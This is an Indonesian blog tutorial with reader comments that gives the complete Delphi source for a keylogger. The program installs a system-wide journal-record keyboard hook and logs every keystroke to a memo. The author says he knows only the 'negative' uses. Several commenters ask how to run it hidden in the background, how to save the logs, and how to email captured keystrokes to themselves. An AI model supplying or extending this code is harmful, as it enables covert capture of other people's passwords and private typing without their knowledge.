Programming Learning

Free IT e-learning

[Delphi-Tips] Keyboard Hooks (Keylogger)

Mungkin istilah “Keylogger” tidak asing di telinga kita,  definisi aplikasi keylogger menurut saya adalah suatu aplikasi yang mampu merekam setiap tombol yang ditekan pada keyboard…hummm…trus gunanya buat apa???sebenarnya saya belum begitu mengerti tentang kegunaan positifnya tapi kalo negatifnya tahu, xixixiixi…:D…nah di tutorial ini saya akan mencoba mengimplementasikan cara pembuatan keylogger itu sendiri.

Langkah awal kita rancang suatu form dengan design sebagai berikut :

Rancangan Hook

dah terserah akan dirancang seperti apa yang penting harus memperhatikan nama yg penting berikut ini :

  • TForm : frmMain
  • TButton : btnHook,btnUnHook
  • TMemo: mLog

setelah itu supaya tampilannya mirip DOS(komponen memonya) pada event onKeyPress kita masukkan sintak :



function JournalCallBackProc(Code: Integer; wParam, lParam: longint): LRESULT;stdcall;
var y   : string ;
var x   : cardinal ;
var ev  : t_evt;
begin
ev := ptr(lParam);
x := ev.paramL ;
if ev.message = 256 then
  begin
   case x of
    283   : UnhookWindowsHookEx(hookhandle);
    7745  : y := 'a' ;
    12354 : y := 'b' ;
    11843 : y := 'c' ;
    8260  : Y := 'd' ;
    4677  : y := 'e' ;
    8518  : y := 'f' ;
    8775  : Y := 'g' ;
    9032  : y := 'h' ;
    5961  : y := 'i' ;
    9290  : y := 'j' ;
    9547  : y := 'k' ;
    9804  : y := 'l' ;
    12877 : y := 'm' ;
    12622 : y := 'n' ;
    6223  : y := 'o' ;
    6480  : y := 'p' ;
    4177  : y := 'q' ;
    4946  : y := 'r' ;
    8019  : y := 's' ;
    5204  : y := 't' ;
    5717  : y := 'u' ;
    12118 : y := 'v' ;
    4439  : y := 'w' ;
    11608 : y := 'x' ;
    11353 : y := 'y' ;
    5466  : y := 'z' ;
    14627 : y := ' ' ;
    7181  : frmMain.mLog.Lines.Add('');
  end;
end;
bla := y ;
frmMain.mLog.Text := frmMain.mLog.Text + y ;
end;

perlu diingat bahwa ini adalah native function, jadi untuk dapat dipanggil pada event selanjutnya, function ini harus berada pada urutan paling atas.

nah sekarang saatnya memasang sintak pada button, untuk button “Hook” event onClick kita akan pasangkan sintak sebagai berikut :


hookhandle := SetWindowsHookEx(WH_JOURNALRECORD, @JournalCallBackProc , Hinstance, 0);
if hookhandle = 0 then
  begin
   mLog.Lines.Add('Hook Failed');
  end
else
 begin
   mLog.Lines.Add('Hooked');
   btnHook.Enabled := FALSE;
   btnUnHook.Enabled := TRUE;
 end;

dan untuk button “unHook” event onClick kita pasangkan sintak sebagai berikut :


if UnhookWindowsHookEx(hookhandle) then
 begin
  mLog.Lines.Add('Unhooked');
  btnUnHook.Enabled := FALSE;
  btnHook.Enabled := TRUE;
 end
 else
  begin
   mLog.Lines.Add('Unhooked');
  end;

nah setelah mengikuti langkah-langkah di atas sekarang saatnya mencoba aplikasi dengan menekan tombol F9 pada keyboard dan apabila telah benar maka hasilnya adalah sebagai berikut :

Aplikasi Hook Keyboard

Listing aplikasi selengkapnya adalah sebagai berikut :


unit uMain;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, StdCtrls, ExtCtrls;

type
 TfrmMain = class(TForm)
 Panel1: TPanel;
 btnHook: TButton;
 btnUnhook: TButton;
 mLog: TMemo;
 procedure btnHookClick(Sender: TObject);
 procedure btnUnhookClick(Sender: TObject);
 procedure FormCreate(Sender: TObject);
 procedure mLogKeyPress(Sender: TObject; var Key: Char);
 private
 { Private declarations }
 public
 { Public declarations }
 end;
type t_evt = ^EVENTMSG;

var
 frmMain: TfrmMain;
 hookhandle  : HHOOK;
 bla         : string;

implementation

{$R *.dfm}
function JournalCallBackProc(Code: Integer; wParam, lParam: longint): LRESULT;stdcall;
 var y   : string ;
 var x   : cardinal ;
 var ev  : t_evt;
 begin
 ev := ptr(lParam);
 x := ev.paramL ;

 if ev.message = 256 then begin
 case x of
 283   : UnhookWindowsHookEx(hookhandle);
 7745  : y := 'a' ;
 12354 : y := 'b' ;
 11843 : y := 'c' ;
 8260  : Y := 'd' ;
 4677  : y := 'e' ;
 8518  : y := 'f' ;
 8775  : Y := 'g' ;
 9032  : y := 'h' ;
 5961  : y := 'i' ;
 9290  : y := 'j' ;
 9547  : y := 'k' ;
 9804  : y := 'l' ;
 12877 : y := 'm' ;
 12622 : y := 'n' ;
 6223  : y := 'o' ;
 6480  : y := 'p' ;
 4177  : y := 'q' ;
 4946  : y := 'r' ;
 8019  : y := 's' ;
 5204  : y := 't' ;
 5717  : y := 'u' ;
 12118 : y := 'v' ;
 4439  : y := 'w' ;
 11608 : y := 'x' ;
 11353 : y := 'y' ;
 5466  : y := 'z' ;
 14627 : y := '' ;
 14624 : y := ' ' ;
 7181  : frmMain.mLog.Lines.Add(' ');
 end;
 end;
 bla := y ;
 frmMain.mLog.Text := frmMain.mLog.Text + y ;
end;

procedure TfrmMain.btnHookClick(Sender: TObject);
begin
 hookhandle := SetWindowsHookEx(WH_JOURNALRECORD, @JournalCallBackProc , Hinstance, 0);
 if hookhandle = 0 then begin
 mLog.Lines.Add('Hook Failed');
 end
 else begin
 mLog.Lines.Add('Hooked');
 btnHook.Enabled := FALSE;
 btnUnHook.Enabled := TRUE;
 end;

end;

procedure TfrmMain.btnUnhookClick(Sender: TObject);
begin
 if UnhookWindowsHookEx(hookhandle) then begin
 mLog.Lines.Add('Unhooked');
 btnUnHook.Enabled := FALSE;
 btnHook.Enabled := TRUE;
 end
 else begin
 mLog.Lines.Add('Unhooked');
 end;

end;

procedure TfrmMain.FormCreate(Sender: TObject);
begin
 btnHook.Enabled := TRUE;
 btnUnHook.Enabled := FALSE;
end;

procedure TfrmMain.mLogKeyPress(Sender: TObject; var Key: Char);
begin
 createCaret(mLog.Handle, 0, 8,15);
 ShowCaret(mLog.Handle);
 SetCaretBlinktime(1500);
end;
end.

Apabila temen-temen kurang paham, silahkan mendownload sourcenya disini

Demikian tutorial ini dibuat dan semoga bermanfaat bagi temen-temen semua.

24 responses to “[Delphi-Tips] Keyboard Hooks (Keylogger)

  1. Yadin Mei 8, 2009 pukul 3:35 am

    hlllo coy asyik sekali…….informasinya

  2. Tigor Manurung Mei 8, 2009 pukul 4:31 am

    xixiixixi…semoga bermanfaat ya…

  3. Teddy Mei 13, 2009 pukul 1:08 am

    Mantaff bro … d’tunggu artikel lainnya

  4. maupek Juni 20, 2009 pukul 3:50 pm

    mas da g keylogger yg dari vb nya?

    klo da tolong diposting ya?

    smoga sukses trus ya mas

  5. Hafid Juli 6, 2009 pukul 4:38 pm

    Bang, gimana caranya menyimpan isi keylogger ini berdasarkan tanggal dan jam keylogger ini dijalankan? Soalnya keylogger yang Saya kembangkan (bukan yg Saya buat) menggunakan TMemo. Terima kasih.

  6. Tigor Manurung Juli 9, 2009 pukul 4:04 pm

    @hafid : klo itu sepertinya tinggal menambahkan teks yang menampilkan waktu aja bukan???

  7. soviii September 18, 2009 pukul 7:50 pm

    kk tolong kirimin keylogger yg udah jdi klo bisa ama cara pemakaian’a tolong kirim ke e_mail aku:sovix_sovar@yahoo.com
    tolong kk aku g ngerti cara buat’a
    tolong yah…..(mohon bantuannya)

  8. isoke Oktober 17, 2009 pukul 8:11 am

    Kalau untuk numerik kok ngak mau ya …
    Gimana caranya agar key numeriknya bisa juga ?
    kode x nya cari dari mana ( apakah itu kode ascii ) ?

  9. agoenk Oktober 31, 2009 pukul 4:54 am

    hii hiii, keren bro, bisa di buat di aplikasi model running on background, agar bisa capture apa aja yg di ketik seseorang pada komputernya,😀

  10. kafi Mei 2, 2010 pukul 10:27 am

    Waduh..terima kasih ya atas ilmunya

  11. ffin Juli 1, 2010 pukul 3:29 pm

    Tengkyu buanget.. Ni yg tak cari2, ga usah pake dll segala hehehe…

  12. Pustaka wijaya September 25, 2010 pukul 11:32 pm

    kk, sy coba compile pk delphi 6 & 7 hasilnya
    setelah di tekan tombol Hook –> tidak menunjukkan respon apa2.
    malah semua tombol keyboard tdk berfungsi
    berfungsi lg kalo sdh sy tekan [ctr][alt][del]

    stl sy trace di program
    setelah melewati command line
    “hookhandle := SetWindowsHookEx(WH_JOURNALRECORD, @JournalCallBackProc , Hinstance, 0);”
    program berhenti.

    …(Mohon bantuannya, ka)

  13. Pustaka wijaya September 25, 2010 pukul 11:50 pm

    horre, sdh bisa ka,
    sebelumnya sy menjalankan 2 delphi & sdg melakukan trace. jadi not respon.
    mantaB banget ka, programnya.

    tks, kk

  14. Bimaditia Februari 10, 2011 pukul 2:41 am

    Wah bagus banget postingnya. Sayang sekali keylogger di atas tidak bisa mencatat angka…..

  15. chantoni Maret 14, 2011 pukul 3:05 am

    lae, nie buatnya pakai delphi yach, ada yang pakai vb nda lae. thanks

  16. irvan April 29, 2012 pukul 3:20 am

    mas gimana biar apa yg tercatat itu bisa disimpan lognya disebuah direktori dikomputer ?
    kemudian lognya itu di send ke email kita ?

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

%d blogger menyukai ini: